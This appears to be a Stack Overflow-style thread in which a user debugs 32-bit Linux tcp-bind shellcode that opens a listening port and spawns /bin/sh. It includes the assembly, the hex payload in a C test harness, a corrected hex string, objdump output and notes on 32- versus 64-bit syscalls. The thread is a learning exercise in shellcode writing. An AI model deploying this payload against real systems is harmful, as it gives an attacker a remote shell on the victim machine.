Reputation: 33
I'm working on a tcp-bind shellcode for a 32-bit system. The code is sitting on a 32-bit ubuntu and the host os is 64 Bit Windows 10 (do they even make 32 bit windows 10?)
The shellcode is a tcp-bind. It executes fine as its own standalone executable but when the code is converted to hex and is put into a c test program there is a segmentation fault. This occurs even when using gcc -m32 -fno-stack-protector -z execstack
Here's the shellcode disassembled
global _start
section .text
_start:
xor edi, edi
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
push edi ; INADDR_ANY
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; long *args
int 0x80
;Bind
mov edx, eax ; reurn of Socket call is sockfd, place into edi
mov al, 0x66 ; SysSocket syscall
inc bl ; Bind call
push edi; INADDR_ANY
push word 0x3582; Port Number
push word 2 ; AF_INET
mov ecx, esp
push 16 ;addrlen
push ecx ;*sockaddr
push edx ;SockFD
mov ecx, esp
int 0x80
;Listen
mov al, 0x66
add bl, 2
push edi
push edx
mov ecx, esp
int 0x80
;Accept
mov al, 0x66
inc bl
push edi
push edi;
push edx
mov ecx, esp
int 0x80
;ready for dup2
xchg ebx, eax
xor ecx, ecx
mov cl, 2
loop:
mov al, 63
int 0x80
dec ecx
cmp ecx, edi
jge loop
; PUSH the first null dword
push edi
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edi
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
And here's the C code:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2
\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
\xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
\x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Any help to figuring out when I can't execute in C and how to fix would greatly appreciated, please. Thanks!
I hold no liability for those that wish to use this code.
Upvotes: 2
Views: 1643
Reputation: 47603
There are problems with the code you posted. Splitting the line up with line breaks shouldn't really compile. I'm not sure if you inserted line breaks into the question for readability and the original had the string defined on all one line. In a couple of locations there is an extraneous \
. There is a \\x57
that should be \x57
and \\x7d
that should be \x7d
.
It probably should have looked like:
unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
The string above places each line between its own double quotes so they are concatenated by the compiler when parsed.
Your assembly code is probably lucky that it was working as a stand alone application at all. Inside of another program it is likely the case the registers won't be zero. Your code does this:
xor edi, edi
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
You zero out the entire EDI register but your code relies on the upper bits of EAX and EBX being zero which may not be the case. You should zero both of those out with:
xor edi, edi
xor eax, eax
xor ebx, ebx
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
Adding the two extra instructions to zero the registers would make the string look like:
unsigned char code[] = \
"\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
OBJDUMP is a useful tool in this case. It can disassemble code and data from an executable (your C code in this case). You can use this output to confirm the string has the instructions you expect. objdump -D -Mintel progname
where progname
is the name of the executable. -Mintel
disassembles the code and data with Intel syntax rather than AT&T. The output generated from your character array code
looks something like this:
08049780 <code>:
8049780: 31 ff xor edi,edi
8049782: 31 c0 xor eax,eax
8049784: 31 db xor ebx,ebx
8049786: b0 66 mov al,0x66
8049788: b3 01 mov bl,0x1
804978a: 57 push edi
804978b: 6a 01 push 0x1
804978d: 6a 02 push 0x2
804978f: 89 e1 mov ecx,esp
8049791: cd 80 int 0x80
8049793: 89 c2 mov edx,eax
8049795: b0 66 mov al,0x66
8049797: fe c3 inc bl
8049799: 57 push edi
804979a: 66 68 82 35 pushw 0x3582
804979e: 66 6a 02 pushw 0x2
80497a1: 89 e1 mov ecx,esp
80497a3: 6a 10 push 0x10
80497a5: 51 push ecx
80497a6: 52 push edx
80497a7: 89 e1 mov ecx,esp
80497a9: cd 80 int 0x80
80497ab: b0 66 mov al,0x66
80497ad: 80 c3 02 add bl,0x2
80497b0: 57 push edi
80497b1: 52 push edx
80497b2: 89 e1 mov ecx,esp
80497b4: cd 80 int 0x80
80497b6: b0 66 mov al,0x66
80497b8: fe c3 inc bl
80497ba: 57 push edi
80497bb: 57 push edi
80497bc: 52 push edx
80497bd: 89 e1 mov ecx,esp
80497bf: cd 80 int 0x80
80497c1: 93 xchg ebx,eax
80497c2: 31 c9 xor ecx,ecx
80497c4: b1 02 mov cl,0x2
80497c6: b0 3f mov al,0x3f
80497c8: cd 80 int 0x80
80497ca: 49 dec ecx
80497cb: 39 f9 cmp ecx,edi
80497cd: 7d f7 jge 80497c6 <code+0x46>
80497cf: 57 push edi
80497d0: 68 2f 2f 73 68 push 0x68732f2f
80497d5: 68 2f 62 69 6e push 0x6e69622f
80497da: 89 e3 mov ebx,esp
80497dc: 57 push edi
80497dd: 89 e2 mov edx,esp
80497df: 53 push ebx
80497e0: 89 e1 mov ecx,esp
80497e2: b0 0b mov al,0xb
80497e4: cd 80 int 0x80
Upvotes: 2
Reputation: 21
IA-32 and IA-32e modes are a little bit different from each other. int 0x80 is still supported, but the prefeered way to use syscalls is via SYSCALL instruction. In IA-32 mode all arguments must be pushed to stack. In IA-32e, the registers RDI, RSI, RDX, R8-R10 are used for the arguments. If you have more than 6 arguments then you must push them to the stack (QWORD aligned!)... Using SYSCALL instruction the resulting RFLAGS is returned in R11 register.
Pushing 32 bit registers on stack is not available in IA-32e mode (try it, add a "bits 64" in the begining of your code and assemble it again). From your 32 bit code, "push edi" will be interpreted as "push rdi"...
The problem could be the "dec ecx" instruction. In IA-32 mode is 0x49, but IA-32e is 0xFF 0xC9. And, of course, your code is dealing with 32 bit ESP, not RSP...
Upvotes: 0